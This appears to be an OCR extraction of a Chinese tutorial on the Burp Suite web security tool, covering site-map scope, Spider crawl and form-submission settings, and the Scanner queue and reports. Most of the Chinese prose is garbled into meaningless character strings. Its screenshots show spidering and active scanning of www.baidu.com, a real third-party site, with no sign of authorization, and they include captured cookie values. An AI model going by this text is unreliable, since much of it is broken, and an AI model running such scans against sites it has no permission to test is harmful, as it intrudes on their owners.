> B ho Send URL to Crawljax
» [ imd BurpJDSer-ng: Reload JARs
> r- is send to sgimap
> @ fink Engagement tools
» [ mo Compare site maps
» [ no Expand branch
» [T pu Expand reguested items
[ rob Collapse branch
g @ e Delete branch
>0 se Copy URLS in this branch
> @@ sh Copy links in this branch
r @ e Save selected items
[S) ups
Site map help
1-1-16

#2300 / & 250 B AUEME R e Pl E IR, YIZIH T ARE R .
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2)Scope

XNEZRZEE Site map H—LILIERITHRE , 40E 1-1-17 ¢

_»| Define the in-scope targets for your current work. This configuration affects the behavior of tools throughout the suite. All fields take regex string:
exclude URL paths.

Add Enabled | Protocol | Host/ IP range | Port | File:

,_
i

] HTTP Ay baiduh.comS “30%

Edit

Remove [ 2

|

Paste URL

[

Load ...

,_
L

Add

,_
.

Enabled | Protocol | Host/IP range | Port | File:

Any legout

Edit Any logo ff

Any exit
Remaove

EEEE
v

Any signout

Paste URL

[

Load ...

,_
i

1-1-17

Include in scope BEITEMHIEEF=BHHICREBATEA add to scope FLERIIZNX
T WRILIE EF AN,

Target 439 site map #1 scope FINEIR

SiteMap

Fu(y Site Map SCERTBRIER Burp EQWERINE XML, (RRILITIEFRELES |

LAESENETEYE |, tHaILAER SiteMap EFK TIERAZ.

Target Information

SiteMap REBIRFLUNFAIRFER R , FEETUEETENERIIBLE. HIEE

BRBNDERR , BBEMAS L, BR , XHHSEIGERR URL . BERLY X8
BRI BEE R — RV, MNREEERII— RS NEBD | BB T S AmEERY
IMEMRBEE#ERERNE.

ZRMBEREXENNE (URL , HTTPIAZRD , MOTAREEE ) OB TS, FaTlL
2471 / A 250 T AVEHME R e MNEFE IR, VIZIH TR .
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RIEESIIITHERSR ( ARSI AT | FRFHET | FORHEF ) . WIREE
RPEFE—NIE |, BB (WNER ) %HE B ERK/IMNERS. XEETER
NIREY HTTP HSCAY4miERs | IRALEEBRAATIFEDHT.

s E TS FEAYEE BurpSuite BRIERINEXRIE, XE1E
FrEX—tEEI ERS SR ERERKAIAR.

EfETHET AR CEIERAME TR ( BHRRIRREEEAHaI Spider ) .
WEEF Spider BlRE KININEEEHK.,

RAFPFIMIBYEERE , NAHETEfYEH.

BIEKE SiteMap FRES B ARG, HARKIERNIEZETAKE. BOABR (S
WPk (passviely scan this host)iFR ) , S{FFHENE—MEEHNA , KENAS
BERAKBZE , (FEEEEIRAIBEER , FJ BurpSuite KIMEEFMERIIRNEIHE

e, EALRBRARSGEBATbLE , 2NE 1-1-18 :

‘ Fiter: Hiding not found tems; hiding image and flash content; hiding specific extensions G
ooy bekrico 14| | Host | Method | URL | Params | Status & | Length | MMEtype | Title
N E me e hpdwww baiducom  GET  / g = 54673 HTUL
N aladdin hitpifw w v baidu.com GET fcache/sethelp/ a 200 40049 HTML
http:ifw baidu.com GET fcachel elpfindex html a 200 40049 HTML
> I\i] baidu.php http:ifww v baidu.com GET icache/sethelpixmibaidu. xmi o 200 1022 XML
N cache hitp:ifw w v baidu.com GET icache/sethelpixmilbaiduie7 xml a 200 869 XML
hitp:ifw w v baidu.com GET iduty! a 200 4084 HTML
o hpsfwww baiducom  GET  idutylcopyright himl (S ] 3z HTML
= htpiwww baiducom  GET  idutyfindexhiml [SI-] 4084 HTUL UERBOBEUR-
o forbiddenip hitpifw w v baidu.com GET #duty/right html a 200 14766 HTML “UMEE Al+ExREiD
» [ guoi ELS -
[ home.html
» [ homepage
» [ img
L)
@ in
» [ more
» [ nocach 0 (Vindows NT €.3; WOWE4; Trident/7.0; MALNJS: rv:il.0) like Gecko
» [ pud deflace
D robots. txt N
> ’) Proxy-Connec eep-Alive
> search Cookie: BAID ESAE3CIZEEBEZEDEE1CL303F44BCT2:FG=1; H_PS_PSSID=€171_5829_5230_1459 5223_£024_4759_e018_6258 5856 62897
L3 shife H_PS_TIPCOUNT=5; H _PS_TIPFLAG=
»

& 1-1-18

Display Filter
Sitemap TLAFBSRISHIR LB MRE | IUEEE B T ORI RE B TERZI
SNITIEES Sitemap ESANTIEEINA T HRINSTITIRES. METIRR T ERIEN

HIEENE, ZLREE T IETFUUTEEHITEE

2570 / & 250 U AUEHE R e Wb 2IAS0, VIZ0H ARG I
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Request type {FAILAREBEEERNNME [ReESRNNE BETSEHRNEK. MIME
type BEILIRER D ETEREESSMARN MIME 28 |, 40 HTML , CSS 5(EH&RAT
MR, Status code EALURERAE RIS HTTP IKEEBIWAL, - Search term
EAI LA IR R EEAE 28 ERHE R, B LIRERRRARE R — "\ NFFTHEE
NFEL  URRBXDKNE, IIRERZFET "HRER" &I, AR ZRiEE
—HIBRBHER. File extension EAJLAREREE B RESSEHE BRI BRI
H. Annotation ZRILIRERE B ERBFRENTEEERIAR.

Annotations

BEMNERAMLERRAEL ISR, X8R E IR RZERNER , FRcT
H—LEE,

ERILEEAMNERAE R AL SBICRIN. XAJsER A AR ARZERIER 7
IR TH—LEE,

AU :

T ERERAINERY PRI AR R BB .

2)FILISRHEMER ETIGRBEPH "SR MERN— M EEZ NMAERTE.

PRSI INERE -

WERXRFE | IERFIF |, iFINESGmERIEITIe.

4)RFFEHER LT IEREAPH "MNEE" IEN— S MEENRE.

BRTLAERHM , BB LGERINE |, BMHIEERRI R | XEEEEHHIMER LicR
*. SECKXTPBERNER , BRLIERSIHIF IR e R R X LT
Scope

Target scope i%E , AJLAMN SiteMap AR IItB el AFERDRINFREBEZ Scope, {RAILAE

526 70 / & 250 U AEHE R e Wb 21580, VIZ0H ARG I
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Target SiteMap # Proxy history FIRBRENEEENNIE. HEAILUSEIEEE
REEEERRERMMLN, Spider RIEEEERATENE, SUWAARTLUREBRNE
EEENEREREEM. EILIESE Intruder F Repeater IRFEEEAZHHIIEEER
AIRILE, &Ri% Burp BARLAESAATRHUTITEN , RESHREGBHERELEIE | WE

1-1-19 :

Target | Proxy T Spider T Scanner I Intruder T Repeater | Se
Intercept | History T Options ]

Fiter: Showing all items

# 4 |Host | Methnd | 11E1
hitp-dfwwerw . baidu.com/

1625  hitp.//passport
1630 hitp/is1 bostatied
1631  hitpfsuggestiy  Spider from here
1632  hitp:www. bal Do an active scan

187272 hHn-fled helotat Mim A mammbes moan

1-1-19

SEEIE M fEARY URL ITECHINUANER - —4> "B#&(include)” FIRFN “exclude(HERR)”
FZR, Burp #RiE—1 URL HEUERIRGE  iNRERBREEZH | XEHIAREEE L
405 URL ILEEZE/D— “include” FERRIHINY , RFFE “exclude” #INY, iXHFREBEN
RENENMBRAXECCERN , BIEEZeERFERN BRI (1EHEYTEEREE )
HERR,

Spider Ih&E

Burp Spider 2—/Mi&T web NFREFMNTE. EERSMEIAN—MIAEFN
RBFINEEHTEEANEE. ®IIRE HTML #1 JavaScript LURIEAHOZR S PA0EHE
Bk BRI  BERERT —LHEMNER  ERFIFR  BREENER , LK
robots.txt X4, ERREULAMERLRNTIRINFNEREER , #2077 —NEEHIES

AR BN DBl BEEREREME THREI— web WAEREEFETIIFR , iR

27 7/ & 250 U AEHE B 22 Db = 21580, VIZ0DH ARG %
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EERHITRE NFNESMIRERNE , EIRRERE |, IEXRE , f5& HTNL RS, 7]
VARRIESE AR FIFEFFRITETERTRRSSINGE | KRiHFEEITERImA , 20 SQL iEAN | 1
ESlyal

Using Burp Spider

ENS N FAFERHEFE Burp Spider FEEF/MEHALE

1 {5 Burp Proxy ECE/RNILERAVAERIRSS S | NS BimN AR T ERE | IR
B LKA,

2 BuARIbEIRY" target” IBIN L |, R BN AEFEBERENFAIER., &FE E TGRS

BY" spider this host/branch” #EIT , 40& 1-1-20 :

Filter: Hiding net found flems; hiding image and flagh content; hiding specific extensions

> httpsifw v Y Al | Host | Methoa | uRL | Params | status & | Length | MMEtype | Title
™ http:iiv v baidu.com hitplwww.baducom  GET faladdin/ [T 520 HTML. 302 Found

[nl} hiipujwww.baducom  GET Jaladdinfimg! o 520 HTIL 302 Found

> &3 adrcphp hitp:/iww w_baidu.com GET Ialaddinfimg/right_timeline/ (] 302 520 HTML 302 Found
| aladdin hittp:/iwew w.baidu.com GET Ialaddinfimg/tools! o 302 520 HTML 302 Found
I

» 3 baidu.pt

» [ cache
E

s

b duty send to saimay <% v

» [ forbida
- en assin

» [ oaoi Request | Response
[ noment Engagement tools. >

» BB homep: Compare site maps Raw | Params | Headers | Hex

» [0 img Bt J HTTP/ 1.1 X

vk Expand requested tems b idu.con

-1 Delete branch [

» [T more Copy URLS in this branch A ae: en
- U 11la/5.0 (compatible; MSIE ©.0; Windows NT 6.1; Wingd; x64; Trident/5.0)

» [ nocach| Copy inks in this branch c o=

» [0 puo Save selected tems. c BD_CK_SAW=1: BDSVRTN=594; BATDUID=543E5A63C2EEBE2EDEELCII0IF44BCT2 1FG=1;
[ robots.tf SE—ie H ID=£171_5829_5230_1459_5223_6024_4759_£018_6258_SOSE_6269: H_PS_TIPCOUNT-5; H_PS_TIPFLAG=:

- [BDRCVFE[pFk3RETkBa0] =167 ETI HuwV£D

1-1-20

{REBATLAEEA Burp TEAYEESERENAA EEFE E TSR EIRE"  spider this
item”, ZRRE—PIERMBERISSSK spidering , Spider SEFIMEXNDXEEHE
EXYFH] spidering HFBEIA. MRARZ , Burp SIRMRESTHERXRAYI URL FRINZSEE
B, /5 . Burp FH& spidering , FHAfT FEIAERMF :

ENX L ERBBLEHAIIESRERKTN URL, EHXZ L, BHBLERAIER
A2 URL (HIRAURE, BEEKRDZLAISTREIRIASIEA 304 B9, AEERE—
R FAREFNFGRHAEDEIAR. XWAERMEERIINSHTRTLIATEY URL FIRER,

RERIFRNEHBMESXLLR, WREMBISEERXIER spidering , BEIIRA

28 T / & 250 U ANEHE B 2z Wb 21580, VIZDH TARE R %
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FMRBALE,

EE Spider SIREMTAFELETENAI spidering SBEIRAI URL §5E. MSRIRENT—
A SEEBRARIBR , ARIRRERETHEPAI—M933E spidering , iXBY Spider &R
FRRTAHEANZIX MRS EERRYERE | TRBHMAEREKRAIDZ L spider, A TR
Spider RTEFEEDXARBNER L  IRRIZAEFFIRRS , HUE spidering SEEECEARAEX
AL, {RRGZVOIEER Burp Spider, FEERIBNAIRE L |, Spider &7E spidering 58
ERER FABNE , BEtRESFE , FESBERTFSFERFPERER—MNRE
SBAaRE BiEK, NRERENSEER URL 2RERMITEURMEER | XLAR(FES
HmRINAER £, EREETHAEIRERAT 2R, ERNEEXI N AEFHI T —EF
ENRIBRGY , RAFEATENRY,

Control tab

XANEIREFAFHEFELE Burp Spider , SMIEBHRHE , LURENX spidering BSEE,

Spider Status

Target | Proxy | Spider | Scanner I Intruder I Repeater I Seguencer I Decoder I Comparer I Extender I Options | Alerts
Control | Options

2z

Use these settings to monitor and control Burp Spider. To begin spidering, browse to the target application, then right-click ene or more nodes in the target site map, and choose "Spider this host / branch”.

| Spider is running | Clear queues

Reguests made: 8412
Bytes transferred: 639,665,655

Reguests queued: 0

Forms queued: 0

@ Use suite scope [defined in Target tab]

66

(U Use custom scope

1-1-21

1)Spider running
XN EBFARFHEFIEL Spider, Spider {ELEHE , EECASFLEK , (BEES SENME
i Burp Proxy BUNIAZ , HETE spidering SEEIRBIFTAIIBIIERSIENIEREAY B ,

= Spider EF/EaRT , BRIEK, XEERN—L Spider FHEAMEIR , 1LIREEEZEIF
290 / & 250 U AEHE R e Mk 2IAS0, DIZ0H ARG I
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REIRBHTIEERIRN.

2)Clear queues

SNEFRAESERARTARRWASTN | (RAT LSS EthiBRRSRIBASIRYINE | KitE s AIITEINA
BAB, IERUNRAERRAVI B INRIAEEENFE Spider RIDHERRINAEHRY HHERIX
NIRE |, BBACHTESIINBAG.

Spider Scope

EXNERE | (REEBHEEN Spider RUIBKEE. RIFAISZERERER—E 2/
BiweE , BUABR T MR eE. NREFEENARCERINEER |, Ak
# "Use custom scope(ERBEISER)". H—EHIEEERSHIERRRISGIESNE
BB eEREREIIIEE. MNRIMERBECEEA E Spider KIEAEEEA R ,

N Burp SBHEFIXNEENAFEEMAR Suite SEE.

Options tab
XAEREREA TS Burp Spider HMWEAGSER , ATTHA, XEGREIE spider 3

SRR LMERRY FRXIEKRISCRIRIERERERRI. flan AIRENT SAHERE |
FELARIIGRATHERE I MU NS BRI SM | BEIINERERBAFIE,

Crawler Settings

[ Target T Prosoy TSp'H:I-er T Scanner T Intruder T Repeater T Seqguencer T Decoder T Comparer T Extende

Control DOptions ]

ZJ
o Thes=se =ettings control the way the Spider crawls for basic web content.

[¥f] Check robots.t<t

¥ Detect custom “not found™ responses
[¥f] lgnore links to non-text content

[¥f] Request the root of all directories

[¥f] Make a non-parameterised reguest to each dynamic page

Maximum link depth: =

Maximum parameterised reguests per URL: | 50
Ko11-22

30 00 / & 250 U AEHE R e e Wb SIS0, VIZ0H ARG I
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1)check robots.txt

FNERIXMIELRIL | Burp Spider SESKFILLIE robots.txt X4 |, IRENAS#HZE, XX
2 A AHEBRISIEBIRISIRR BIFITE BB _EAYT R, 1EEE , I8 Burp Spider
M robots HEBRIMY. Burp Spider 2% BN RREFNFIBRS | KB
f£5elE ARY robots.txt £&H.

2)detect custom "not found" responses

HTTP 1Y FEZER Web AR5 404 R&HD |, iNR—MNERWNRRAFE. A, IFE
Web M FREFREIERARRPASAIEER "not found” RIMITT. WNRBXMER ,
TEFRZIRIN AT ARG LEIRIRAIMIUS NS AYBRGS, Burp Spider NEMEIERAFERIAR |
TREIEXSIZHT “not found” MMNEEIERQUES “"not found” RIEINL,

3)ignore links to non-text content

EETEHETHE HTML E T EERENTHREIRRY MIME 2688, fla0, 8 IMG 1R
icAY URL SIREIEHG ; BBLLTEH SCRIPT FRCHIRIR[E JavaScript, SNFRIXMELTHKIE
&, Spider FAEBREXN L TFXHIMAIHIMAVAENARIR, FRAXMNE I, SFD
spidering B¥A) , PHERRSIERB BRI SRINXEL.

4)request the root of all directories

WNERIXANET#HIES , Burp Spider 215 KFrEEMARNBR SEEARN web BR |, &7
BBLERBAE, MREXNEiRER EERESIZAURAN , XEIEIFEIERA.
5)make a non-parameterised request to each dynamic page

SNERIXMIELILS |, Burp Spider £YWEEEIRAIFIEHFITANER URL #HTITES4RY
GET &K, MREFHNSHREHEK , SSNESBARRERIMBAL , X NEBREERtt

BRI AN NS R B FITHRE,

#3100 / & 250 U AUEHE R 22 e Wb 2 21580, VIZ0H ARG &
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6)maximum link depth

X2 Burp Suite 7EFF URL EAJNILS" hops” BIGRAZEL, 0Fik Burp Suite RiFEkip
T URL, MSEERIEEIFEX  BXSEERAREER TR EERER. Ikl
REN—SERVEFI LB LLER Spider TEREFRAIRNISERRRIRNS.
7)Maximum parameterized requests per URL

IEXRIZHREARENSERERNER URL IEAEE. SIHAINREN— 1SV
VAESEDERSaC T "R RIAZE , A7t URL FRYBHISERIH BN FEER.

Passive Spidering(#fzhia#)

5
T} Pagsive spidering monitors traffic through Burp Proxy to update the site map without making any new requests.

[ Passively spider as you browse

Link depth to as=sociate with Proxy reguests: |0

1-1-23

1)passively spider as you browse

ANERIXANEI#IES |, Burp Suite S4EanitbibERFAIEIE Burp Proxy A9 HTTP &3k,
SKEIATL I RE_EAYSHEAIRIE, (ERIXMAIISELL Burp Spider #y— MR SNABERF
RENFHET , BRI ERNEENE T REN—NF&  BAREHRILERE
HERINSEH=BRINE] Suite AYZARIBE L,

2)link depth to associate with proxy requests

XMETEHIESEY Burp Proxy G/ web TR\ BXAY" link depth”, KR THHLE
Burp Spider RERXANEERIFFEHE  BRE— L EE EHRER" maximum
link depth” {EXSHI—ME.

Form Submission

3200 / & 250 U AUEHE R e Wb 2IAS0, VIZ0H ARG I
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2| Form Submission

H
o

These settings control whether and how the Spider submits HTML forms.

Individuate forms by: LAcﬂnn URAL, method and fields | vJ

() Don't submit forms
() Prompt for guidance

® Automatically submit using the following rules to assign text field values:

[ Add J Enabled | Match type | Figld name | Field value |
] Regex mail winter@example.com | '
Edit [+ Regex first Peter
] Regex last Winter
m [+ Regex surname Winter l
Up @ Regex name Peter Winter
[+ Regex comp Winter Consulting
[ Down J # Regex addr 1 Main Street -

[ Set unmatched fields to: | 555-555-019%@example com

[ terate all values of submi fizlds - max submissions per form: |10
1-1-24

1)individuate forms

XMEAZREEMEHAIREGIT URL, 73i% , XiE , {8). = Burp Spider 4MEXLEER
1B ESNEXEINEUAREESEN. [BRNREBASIAZIRFS.

2)Don’ t submit

SNERERIX A | Burp Spider AeARAT(TRE,

3)prompt for guidance

NREHIXA , FEFRIZE—MEIARIZRERT , Burp Suite #RARERSIS, XK
RIEREERANSTESBEXAIEE | IIRIAIHRA RS A — X , LIRES
RN X,

4)automatically submit

gnERik , Burp Spider @I {EREXAIRNIESMNERIX MER B aMtRsSTER

RYZRE, B—FANHREE—MERAI ARE ENFRATCRIECRAFRE | FHRHR

ERPEIRHNFRE. AN ESRENFEISERIAE.

%3300 / KB 250 01 AXHME R e Yol 58w, VIZIE FEAREH S .
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N AR EE R AR A E RIS AIEIERT | MRFEETEICERS M
HBIATIREE N spider , NIXMNEMSIFFEBA. ERIMICRAEIRERZE (FHEERN
HIRZFBFERRRT | Burp (ER—HAFEMIIRIAIN. =24 , ARFERIE B CHEERIE
[BRVRBFERER | (RALUEEIXEEE IS CRIRIN. (RE/IVOHBERIXNER , B
RR 7T RRENEREBHSSH—EARREERERF.

FERBEITEMELTR  XESWNBEFRHTARERE AARARNAE. (R
AJLAECE Spider ESEIRBRRERZTRAVE , AENRBIERZIX , REBETEERT

BAME.

Application Login

2
‘J| These settings control how the Spider submits login forms.

() Dont submit login forms
() Prompt for guidance
(_) Handle as ordinary forms

(=) Automatically submit these credentials:

Username:

Pazsword:

1-1-25

SIERBAENREFHIDE—MIARE  FRIREESIL Burp AIGETFERER —
BRI TURAMEIX DR, (ERXMRE (RAILAEIRF Spider fEBRI—REBHITTE 4
TR FRO—H

TANRIRKBIUES |, BiEXE Spidering BIEBURRIFINGE , Burp RILABEREFLERER,
2.Burp BEXREMIAMETRS|S | MEIREESIEEIEH. XITFAREIR,

3.Burp ETFECERMSEFMBENEFTN , BB hREARISTURIEERRE.

ATEBRINE MEMERERY |, Burp BEENRASERGES.
#3450 / & 250 T UIHE B g e B 238, D120 ARE g
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ERE—MERT , (EERSE Burp BRI MESEBEAIERSE , SIR(RECERVEZEE
o BRIFEERPRRRERF BTN, NFRIFENREFANES L Spider
AFIEERE |, BRER MXERFRIIEIN

Spider Engine

liJ Spider Engine

T These settings control the engine used for making HTTP requests when spidering.

Mumber of threads: 10
MNumber of retries on network failure: 3
Pause before retry (millizeconds): 2000

[] Throttle between reguests (miliseconds). | SO0

1-1-26

XL EIEFIFT Spidering Bf&H HTTP iEKAY5 28, THUEIRATA

1)Number of threads---- It iEIHEEIF A TBERHFEEL,

2)Number of retries on network failure----415 H IR R a] B4R 5T |
BurpSuite RIF MBI AIEINANERISEAVREL. Witk EEMEMESSTEEFE LAY | B
PIRFREREHIRER EIHIZIER THFI LR,

3)Pause before retry----4EIHKMATIER , BurpSuite SFHEERIRTE ( LU= HE
i) AT, AREIREM. MRRSHFEE. BICeERUNIRAE | RIFESHRE
BYRSE) , ARE.

4)Throttle between requests----BurpSuite AJLAEERIEK Z BiEF—MEEAIZER( LA
EMREBN ) WATRER , LBRERNEERr , BERERR.

5)Add random variations to throttle---- It iETTA] LUEIS PR HIESRAYRT PR i —

SIS,
3570 / & 250 U AUEHE R 22 Dk 21580, VIZD ARG %
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Request Headers

XL E I Rk A HEY HTTP 53R P ERRNERK. SR AR &L EIS KPR
BEMFIFR. XAEEERN  IWSES M NAREFIMTERX - #i0 , WliitRTH
MR BRI FREFRY , LSRR AR,

ATt AI A | anEl 1-1-27

Request Headers

2]
G These settings control the request headers used in HTTP reguests made by the Spider.

Add Accept: ¥*

Accept-Language: en

Edit User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 8.1, Win84, x84, Trident/5.0)
Connection: close

|

Remove

I

[ Use HTTP versian 1.1
[¥f] Use Referer header

1-1-27

1)Use HTTP version 1.1----#N5R% , Spider &M HTTP1.1 IREEEEREN , ©&fE
F3 1.0 R,

2)Use Referer header----#15Ri%&+ ,Spider RN 5 — 1 TUEHHEE NI B IRE3AE
X Referer 3L, IGIRTRE AEINAEIRINSESEAUNISR A HANEKR , FEEARES
N e — Lo FRFEFRAGIIE Referer 2L,

Scanner Ijgg

Using Burp Scanner

DTS ERERER Scanner 1IREFIEZ FTEMMIM=I N (REMEAIIELE |, 7+
BE1E Proxy BBIEF=#X T , MEH#aE Scanner B9 Results FETLAB RN E 2R EFFE

1N , GNE 1-1-28 :

36 70 / & 250 U AUEHE B2z Mk 21580, VIZVH ARG %
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)& http//wmunw baiclu.com e x|
5 - O & - EEE) - =26 - I50) - @~ 1]

Burp Intruder Repeater Window Help

[ Target T Proxy T Spider M Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T_

Scan queue T Live =canning T Options 1

> 0 https:/iclients4.google.com
» | hitp:iimg1.sj.99.com

Cookie scoped to parent domain
Crosz-domain script include

Cookie without HtpOnly flag set

Robots. b=t file

Frameable response (potential Clickjacking)

-

» 1 hitp:iwe.sigg.com
1 http:fiwwre baidu.com

1/

(ST Sy

K 1-1-28

2 3R ER LS RS | 0E 1-1-29~E 1-1-30 :

1 http:iteeww bap
1!
Delete selected issues

Scan results help

send to =qimap

Send to Aszassin

Extension: Multi Scanner
Actively scan GWT reguest(z)
Actively scan JSON reguestis)
1-1-29

Choose the format for the report.

& HTML
O XKML

| BaseSd4-encode reguesis and rezponses

[ caneer | [ wet |

1-1-30

Html 2iZ xml BEERLMH AR, AE—E T—2 TR N RS4RI |

W& 1-1-31:
%3700 / & 250 1 AUEME R e Yol E SR, YIZIH T ARER .
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Select the file where the report will be saved.
Select file .. | |

Specify the title and structure to use in the report.

Report title | Burp Scanner Report |

lzsue organization . By type B
Table of contents levels | 2 B
Allissues H

High, medium and low issues ||

Summary table

[
[

Summary bar chart

[Lpack | [nee ]

Ko 1131

BAWIHEES  RARMEERE (B 1-1-32:

4 file:///C:/Users/lenovo/Desktop/1.html i ¢ | B Google
\JAJ |

Burp Scanner Report [4]BURP

Summary

The table below shows the numbers of issues identified in different categories. |ssues are classified according to severity as High, Medium, Low or Information.
This reflects the likely impact of each issue for a typical organization. Issues are also classified according to confidence as Certain, Firm or Tentative. This
reflects the inherent reliability of the technique that was used to identify the issue.

Confidence

Certain Firm Tentative Total

Medium - 0 0 0
Severity
Low 0 0 0 0

Information - 1 0 5

The chart below shows the aggregated numbers of issues identified in each category. Solid colored bars represent issues with a confidence level of Certain, and
the bars fade as the confidence level falls.

1-1-32

3ANRAFEHIRR 7 HIETAEREXHIENRRETES  NRENRANET LULE

% Repeater HTMHE , 20E 1-1-33 :
%3800 / & 250 T AXHME R Yol 1A, IR T AREA .
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» ) hitps:iiclients4.google.com Cookie scoped to parent domain

i Cross-domain script include T
Coockie without HitpOnly flag set
Robots. t=t file

Frameable response (potential Clickjacking)

» | hitp:ifimg1.2j.9g.com

» { hitp:'scdown.gg.com

1 httpcifws.sjigg.com

1 httpoifwww . baidu.com
i/

e e p——

,-—]Ljd\risu; Request ﬁfcﬁm\}h
}
"M Pereme | tomies [ o }-

GET / HTTE/1.1

Aocept: text/html, application/xhtml+xml, */*
Aecept-Language: zh-CN

User-Agent: Mozilla/5.0 (Windows NT £.3; WOWE4;
bocept-Encoding: gzip, deflate

Host: www.baidu.com

DMT: 1

Proxy-Connection: KEeep-Alive

Cookie: BAIDUID=3ES3Z5I31FC35ESS74C5TFISFACSSERY
H PS TIPFLAG=0; H PS TIPCOUNT=1

1-1-33

Results

FRIAN-FESENEEINERE  NEMNMBEHIAEAITR. IA—FEE RN R
FHRRE , EFREREEEEAI , £/ URL DRl , BRIXEFNERRR, SRS
RSN ED N  FrEIEERII B aErREERy Hk  BESE—RAIER
RERIEE, SR AKX RGOS EEATERISMRERI M BRI,  IREIEEN
[P B BN ATFS | 815

NBEEXRFR , ZEAEEHE

[EJRRSEEY N HES QRO RIA

PIERATIZER | FAREESEH T ERTIRERIEIA,

2)5eBRNE RN ERRIKIERS TiZIAE. EERRIER  RBEXIRBIMEIERAIE
KA N AIER S IR RAIN AL H S R SRiERs PR BT,

BEBERT  WNHRE—NIRRRASEZERKREER Repeater, 35h, 33F GET 15

X, EEILASHILE URL , FRISERENERINSSESRH. RS SR LAE A MR, Burp 3

#3900 / & 250 U AUEHE Bz e Mk = 21580, VIZ0DA ARG %



o2z HHRM 240k | H5753

EREHEA , 8 NUEHLHTEREE (5, 7, K, &) NEGE (B BE
B, & ) BFR. S—NEE—EER—MHRA , ARLERAKXTR (W SQLEX) #
E , Burp RUHFRIREIX—R , BEEFNEGEKFFE—EAR. XEEEENINEHK
FREROIETRIERY | (RROZARIE( AN FIRERFRITORERNL S5 70 ERIAIRAHH TR E.
XNERELZ L, AREILABRERHTLA TR ER L GEE © aNE 1-1-34 ¢

Report selected issues

ii Delete selected issues

Scan rezults help

send to sgimap

Send to Assassin

1-1-34

Report selected issues

[S5f) BurpSuite Scanner RR&EMS , £ARNEERRAIETIRS, Set severity - IXik
(REFO IR EEE. BLIRETERES , F ], 358, B LFRCER
1EJofRBAME.

Delect selected issues

MpRiEETDR, BER , WRIFMR T — M , Burp EFTAIL 7 REHAYRIE (FI40 , a0
SUREFHIIE TEHFNEX ), BBARBEERIRS. R , NRIFEE—MRAMERCHYE

=]

B, PBLXBARRE. Bt | ESRATEEERERBIRRARSGE. X TAEBRITHEE

[>=]

AEEENRRBATAFEENEREMPREIRRE |, SN0z ERRAMEATIEIT.

Scan Queue

Active Scanning(EzNi3#) I BB E BEKEREIBKREIRS [/ IS I ERRE
X, XABER— M ERIENIRE. JIEAIXRRIENFMEK  XERMIZEHIMG | ©

IRAORAETR, YNE 1-1-35 :

40 7T / & 250 U AUEHE Bz e Mk SIA80, VIZVA ARG %
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Scanner X ntruder X Repeater X Sequencer X Decoder X Comparer X Extender X Options | Alerls

[ Resuts [ Scan queue [ Live scanning X Optians w

# 4| Host [ URL | Status | Baues Requests | Emors | Insertion points |
T T v v AT TITOTET TIT=ITET _ZW T T
14 hitpdiwrw baidu.com Imare/index. himl finished 45 3 13
15 hitp/iwww baidu.com s finished 263 1 8
16 http:/iwrw baidu.com 3 finished 350 4 10
17 http:hwrw baidu.com 3 finished 42 4 12
18 hitpfiwwrw baidu.com Is finished 12 2 17
19 hitpfiwww baidu.com Is finished 14 3 10
20 hitp:Mwww baidu.com 3 finished 392 1 1
20 httpcliveww baidu.com Is finished 64 4 15
22 http:liwww baidu.com s finished 654 3 17
23 http:lwww baidu.com Is finished 644 1 16
24 httocliwww baidu.com Is finished 662 2 17
1-1-35

HESIP RS EFREENT

NZR3ISHIIME | REUZIERGRIIER.

2) BRIBIMY , EHA0 URL

3)ZMERIZEPAT , BiEsEREDLL.

HIMBFERENSE ( XERERNETERRENERE T e ) .

S)EREINE REREEHTT,

TR XARBARIEERNSERE - MRNAERITANRIREIREILERIEK (X
EAESA— MK,

6) M8 FEIRAVEL B IBZRYRE.

)N BB RAVEE.

XESE A LA R NIRRT E AR E, IREAMELSmART TRE
LEERERIRE  INKEAMEAR | RIERIN AL , WESTERFEEXLER | RHATLAK
BUTIRUARATIT BT ECE /s MR 3515 BIEENNAI I,
(RET AN AT B eSS IR | BIBRIAIERIRRR  HEE T EARERIEAAT

INH. ERILAEREHEATIRY_E T SRR TSR MR FRERIEITE. AV FRiEIR
4100/ B 250 01 HHME R Mol = 2 5gi, VIZIH TR RE
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BURTFERImE (S ) BT, FEFE - WE 1-1-36 :

15 bitpfwww baidu com 3 ' % 1 8
16 bitpwww baidu.com 3 30 4 10
1T bt e com Is Scan agan i 4 12
18 bitpfwww baidu com 3 Delete fem s Z 17
19 v haidu com ls Delee firiehed fems b i 1
e S Auomecaly e e fens L :
21 e baidu. com 3 e g 4 15
2 Mgl baid I 63 5 17
SR ; Send o Repester CikR
25 v baidu com 3 B4 1 16
Send to mruder Clrkd
24 e baidu. com 3 B85 Z 17
25 i baidu.com 3 SCA e e 0 many errs (2. T8 [ 12
1-1-36

Show details

XS ERE BRI ALEAIERRR— M ED |, SREEERIIBNAIIE .
Scan again

HCEHFmEERIER (S ) | FHEXEFIRIRE.

Delete item(S)

XIGKAEMBAT FRfipRIEERIIE (S ) .

Delect finished items

XX AMBREBL B 5emk 7 AT IRRYEAIRE,

Automatically delete finished items

XE AR BT /a it 15T MIBRIE .

Pause/resume scanner

XTSRS RSN, WREAREIEER T |, SESEE | MERREER
e  BESE—MEERIER.

Send to

XESETR T Akl B EARIE K ZIXEIEE Burp(Repeater, Intruder) TH,
F42 70 / & 250 1 AVEHE R e M EE 3L, U170 AR &
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Live Scanning
SRR AR ERRL N S @I EFENIEasSRY B ARAL A |, 181D BurpProxy BRS5281H1 T
. BRJLASCRY=Ea3fEIRAE live active scanning # live passive FRFIHEET .

e 1-1-37 :

[ Target I Proxy I Spider I Scanner T Intruder I Repeater T Sequencer ]

[ Results I Scan queue I Live scanning T Options ]

Live Active Scanning

!\Jl

Automatically scan the following targets as you browse. Active scan ct

G

{®) Don'tscan
(L) Use suite scope [defined in Target tab]

() Use custom scope

Live Passive Scanning

G ()

Automatically scan the following targets as you browse. Passive scan

(_) Don't scan
® Scan everything
() Use suite scope [defined in Target tab]

() Use custom scope
1-1-37

Live active scanning

PATIUZ XN | BUTIATE R

NEESBNAT | FEEMPREIZEERE. IRREERE T —ESeENE
RAMRERINTIE FBALRET LA ERMEIER] Burp EaHIEEELTEININE MEK. A |
ETLAEA URL IRECHRNIE BB SCEE.,

2)yEthiEid BurpProxy BHERISTUNANE. XEERUER Burp BEiA#ErINAIIEE.
MNTFE—MRIFRIFEEERNERX |, (REBISRATNEEES | Burp SHEBAENEmIEK , 7§

BNEEREEREIRRNERS.

